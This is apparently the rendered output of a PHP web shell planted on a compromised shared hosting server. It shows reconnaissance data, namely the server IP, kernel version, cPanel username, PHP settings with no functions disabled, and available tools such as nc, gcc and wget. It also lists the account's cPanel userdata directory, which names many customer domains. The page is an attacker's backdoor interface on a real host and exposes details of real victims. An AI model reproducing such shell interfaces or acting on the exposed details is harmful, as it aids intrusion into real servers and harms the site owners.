| Linux premium251.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 |
| LiteSpeed |
| 67.223.118.36 | Your IP: 216.73.216.89 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-x--- ] |
| / var / cpanel / userdata / acceiixc / |
| Operating System | : | Linux premium251.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 |
| User / Group | : | 1224[acceiixc] / 1201[acceiixc] |
| PHP Version | : | 8.1.34 |
| IP Server | : | 67.223.118.36 |
| Your IP | : | 216.73.216.89 |
| Storage | : | Total = 543.66 GB, Free = 148.24 GB [27%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | root/acceiixc | drwxr-x--- | 2026-04-09 10:42:54 | |
| .. | dir | - | root/nobody | drwxr-xr-x | 2025-04-30 09:45:26 | |
| 99designstudio.com.access2designs.com | text/plain | 473 B | root/root | -rw-r--r-- | 2025-07-11 10:38:33 | |
| 99designstudio.com.access2designs.com.cache | application/json | 511 B | root/root | -rw-r--r-- | 2025-07-11 10:38:33 | |
| 99designstudio.com.access2designs.com_SSL | text/plain | 491 B | root/root | -rw-r--r-- | 2025-07-11 10:45:00 | |
| 99designstudio.com.access2designs.com_SSL.cache | application/json | 536 B | root/root | -rw-r--r-- | 2025-07-11 10:45:00 | |
| access2designs.com | text/plain | 624 B | root/root | -rw-r--r-- | 2025-04-30 09:38:16 | |
| access2designs.com.cache | application/json | 644 B | root/root | -rw-r--r-- | 2025-04-30 09:38:16 | |
| access2designs.com_SSL | text/plain | 385 B | root/root | -rw-r--r-- | 2025-04-30 09:50:27 | |
| access2designs.com_SSL.cache | application/json | 430 B | root/root | -rw-r--r-- | 2025-04-30 09:50:27 | |
| ageus.online.access2designs.com | text/plain | 431 B | root/root | -rw-r--r-- | 2025-07-19 12:29:28 | |
| ageus.online.access2designs.com.cache | application/json | 469 B | root/root | -rw-r--r-- | 2025-07-19 12:29:28 | |
| ageus.online.access2designs.com_SSL | text/plain | 449 B | root/root | -rw-r--r-- | 2025-07-22 06:11:59 | |
| ageus.online.access2designs.com_SSL.cache | application/json | 494 B | root/root | -rw-r--r-- | 2025-07-22 06:11:59 | |
| asymptoteglobaleducation.com.access2designs.com | text/plain | 543 B | root/root | -rw-r--r-- | 2025-07-19 12:30:23 | |
| asymptoteglobaleducation.com.access2designs.com.cache | application/json | 581 B | root/root | -rw-r--r-- | 2025-07-19 12:30:23 | |
| bethsheenabrutus.com.access2designs.com | text/plain | 487 B | root/root | -rw-r--r-- | 2025-08-05 05:31:52 | |
| bethsheenabrutus.com.access2designs.com.cache | application/json | 525 B | root/root | -rw-r--r-- | 2025-08-05 05:31:52 | |
| bethsheenabrutus.com.access2designs.com_SSL | text/plain | 505 B | root/root | -rw-r--r-- | 2025-08-05 05:42:20 | |
| bethsheenabrutus.com.access2designs.com_SSL.cache | application/json | 550 B | root/root | -rw-r--r-- | 2025-08-05 05:42:20 | |
| cache | text/plain | 6.09 KB | root/root | -rw-r--r-- | 2025-11-03 06:23:41 | |
| cache.json | application/json | 6.62 KB | root/root | -rw-r--r-- | 2025-11-03 06:23:41 | |
| calbrushpainting.com.access2designs.com | text/plain | 487 B | root/root | -rw-r--r-- | 2025-06-19 05:31:25 | |
| calbrushpainting.com.access2designs.com.cache | application/json | 525 B | root/root | -rw-r--r-- | 2025-06-19 05:31:25 | |
| calbrushpainting.com.access2designs.com_SSL | text/plain | 505 B | root/root | -rw-r--r-- | 2025-06-19 05:43:44 | |
| calbrushpainting.com.access2designs.com_SSL.cache | application/json | 550 B | root/root | -rw-r--r-- | 2025-06-19 05:43:44 | |
| convergentrealestatellc.com.access2designs.com | text/plain | 536 B | root/root | -rw-r--r-- | 2025-05-26 08:34:13 | |
| convergentrealestatellc.com.access2designs.com.cache | application/json | 574 B | root/root | -rw-r--r-- | 2025-05-26 08:34:13 | |
| convergentrealestatellc.com.access2designs.com_SSL | text/plain | 554 B | root/root | -rw-r--r-- | 2025-05-26 08:41:51 | |
| convergentrealestatellc.com.access2designs.com_SSL.cache | application/json | 599 B | root/root | -rw-r--r-- | 2025-05-26 08:41:51 | |
| digitalremembrance.org.access2designs.com | text/plain | 501 B | root/root | -rw-r--r-- | 2025-07-10 06:29:32 | |
| digitalremembrance.org.access2designs.com.cache | application/json | 539 B | root/root | -rw-r--r-- | 2025-07-10 06:29:32 | |
| digitalremembrance.org.access2designs.com_SSL | text/plain | 519 B | root/root | -rw-r--r-- | 2025-07-10 06:42:18 | |
| digitalremembrance.org.access2designs.com_SSL.cache | application/json | 564 B | root/root | -rw-r--r-- | 2025-07-10 06:42:18 | |
| fidelityincometax.com.access2designs.com | text/plain | 494 B | root/root | -rw-r--r-- | 2025-05-26 07:39:55 | |
| fidelityincometax.com.access2designs.com.cache | application/json | 532 B | root/root | -rw-r--r-- | 2025-05-26 07:39:55 | |
| fidelityincometax.com.access2designs.com_SSL | text/plain | 512 B | root/root | -rw-r--r-- | 2025-05-26 07:51:24 | |
| fidelityincometax.com.access2designs.com_SSL.cache | application/json | 557 B | root/root | -rw-r--r-- | 2025-05-26 07:51:24 | |
| hostwebsite.live.access2designs.com | text/plain | 459 B | root/root | -rw-r--r-- | 2025-05-20 11:07:11 | |
| hostwebsite.live.access2designs.com.cache | application/json | 497 B | root/root | -rw-r--r-- | 2025-05-20 11:07:11 | |
| hostwebsite.live.access2designs.com_SSL | text/plain | 477 B | root/root | -rw-r--r-- | 2025-05-20 11:21:44 | |
| hostwebsite.live.access2designs.com_SSL.cache | application/json | 522 B | root/root | -rw-r--r-- | 2025-05-20 11:21:44 | |
| jaydenliamproperty.com.access2designs.com | text/plain | 501 B | root/root | -rw-r--r-- | 2025-07-01 09:50:14 | |
| jaydenliamproperty.com.access2designs.com.cache | application/json | 539 B | root/root | -rw-r--r-- | 2025-07-01 09:50:14 | |
| jaydenliamproperty.com.access2designs.com_SSL | text/plain | 519 B | root/root | -rw-r--r-- | 2025-07-01 10:01:47 | |
| jaydenliamproperty.com.access2designs.com_SSL.cache | application/json | 564 B | root/root | -rw-r--r-- | 2025-07-01 10:01:47 | |
| main | text/plain | 2.1 KB | root/root | -rw-r--r-- | 2025-11-03 06:23:41 | |
| main.cache | application/json | 2.08 KB | root/root | -rw-r--r-- | 2025-11-03 06:23:41 | |
| mrdentrepair.com.access2designs.com | text/plain | 459 B | root/root | -rw-r--r-- | 2025-04-30 10:20:36 | |
| mrdentrepair.com.access2designs.com.cache | application/json | 497 B | root/root | -rw-r--r-- | 2025-04-30 10:20:36 | |
| mrdentrepair.com.access2designs.com_SSL | text/plain | 477 B | root/root | -rw-r--r-- | 2025-04-30 10:43:19 | |
| mrdentrepair.com.access2designs.com_SSL.cache | application/json | 522 B | root/root | -rw-r--r-- | 2025-04-30 10:43:19 | |
| nzbllc.com.access2designs.com | text/plain | 417 B | root/root | -rw-r--r-- | 2025-04-30 10:21:20 | |
| nzbllc.com.access2designs.com.cache | application/json | 455 B | root/root | -rw-r--r-- | 2025-04-30 10:21:20 | |
| nzbllc.com.access2designs.com_SSL | text/plain | 435 B | root/root | -rw-r--r-- | 2025-04-30 10:43:22 | |
| nzbllc.com.access2designs.com_SSL.cache | application/json | 480 B | root/root | -rw-r--r-- | 2025-04-30 10:43:22 | |
| remarkapave.com.access2designs.com | text/plain | 452 B | root/root | -rw-r--r-- | 2025-04-30 09:56:29 | |
| remarkapave.com.access2designs.com.cache | application/json | 490 B | root/root | -rw-r--r-- | 2025-04-30 09:56:29 | |
| remarkapave.com.access2designs.com_SSL | text/plain | 470 B | root/root | -rw-r--r-- | 2025-04-30 10:14:12 | |
| remarkapave.com.access2designs.com_SSL.cache | application/json | 515 B | root/root | -rw-r--r-- | 2025-04-30 10:14:12 | |
| sandramcfadden.com.access2designs.com | text/plain | 473 B | root/root | -rw-r--r-- | 2025-05-27 12:36:57 | |
| sandramcfadden.com.access2designs.com.cache | application/json | 511 B | root/root | -rw-r--r-- | 2025-05-27 12:36:57 | |
| sandramcfadden.com.access2designs.com_SSL | text/plain | 491 B | root/root | -rw-r--r-- | 2025-05-27 12:43:24 | |
| sandramcfadden.com.access2designs.com_SSL.cache | application/json | 536 B | root/root | -rw-r--r-- | 2025-05-27 12:43:24 | |
| stridesgloballlc.com.access2designs.com | text/plain | 487 B | root/root | -rw-r--r-- | 2025-07-31 07:11:32 | |
| stridesgloballlc.com.access2designs.com.cache | application/json | 525 B | root/root | -rw-r--r-- | 2025-07-31 07:11:32 | |
| stridesgloballlc.com.access2designs.com_SSL | text/plain | 505 B | root/root | -rw-r--r-- | 2025-07-31 07:24:47 | |
| stridesgloballlc.com.access2designs.com_SSL.cache | application/json | 550 B | root/root | -rw-r--r-- | 2025-07-31 07:24:47 | |
| thewebminers.com.access2designs.com | text/plain | 459 B | root/root | -rw-r--r-- | 2025-06-26 11:14:41 | |
| thewebminers.com.access2designs.com.cache | application/json | 497 B | root/root | -rw-r--r-- | 2025-06-26 11:14:41 | |
| thewebminers.com.access2designs.com_SSL | text/plain | 477 B | root/root | -rw-r--r-- | 2025-06-26 11:24:39 | |
| thewebminers.com.access2designs.com_SSL.cache | application/json | 522 B | root/root | -rw-r--r-- | 2025-06-26 11:24:39 | |
| transformationconsulting.net.access2designs.com | text/plain | 543 B | root/root | -rw-r--r-- | 2025-07-29 07:21:23 | |
| transformationconsulting.net.access2designs.com.cache | application/json | 581 B | root/root | -rw-r--r-- | 2025-07-29 07:21:23 | |
| transformationconsultinggroupllc.com.access2designs.com | text/plain | 599 B | root/root | -rw-r--r-- | 2025-07-29 07:20:31 | |
| transformationconsultinggroupllc.com.access2designs.com.cache | application/json | 637 B | root/root | -rw-r--r-- | 2025-07-29 07:20:31 | |
| transformationconsultinggroupllc.com.access2designs.com_SSL | text/plain | 617 B | root/root | -rw-r--r-- | 2025-07-29 07:34:41 | |
| transformationconsultinggroupllc.com.access2designs.com_SSL.cache | application/json | 662 B | root/root | -rw-r--r-- | 2025-07-29 07:34:41 | |
| turfsupplypros.com.access2designs.com | text/plain | 473 B | root/root | -rw-r--r-- | 2025-05-16 05:00:42 | |
| turfsupplypros.com.access2designs.com.cache | application/json | 511 B | root/root | -rw-r--r-- | 2025-05-16 05:00:42 | |
| turfsupplypros.com.access2designs.com_SSL | text/plain | 491 B | root/root | -rw-r--r-- | 2025-05-16 05:13:56 | |
| turfsupplypros.com.access2designs.com_SSL.cache | application/json | 536 B | root/root | -rw-r--r-- | 2025-05-16 05:13:56 |
© SEC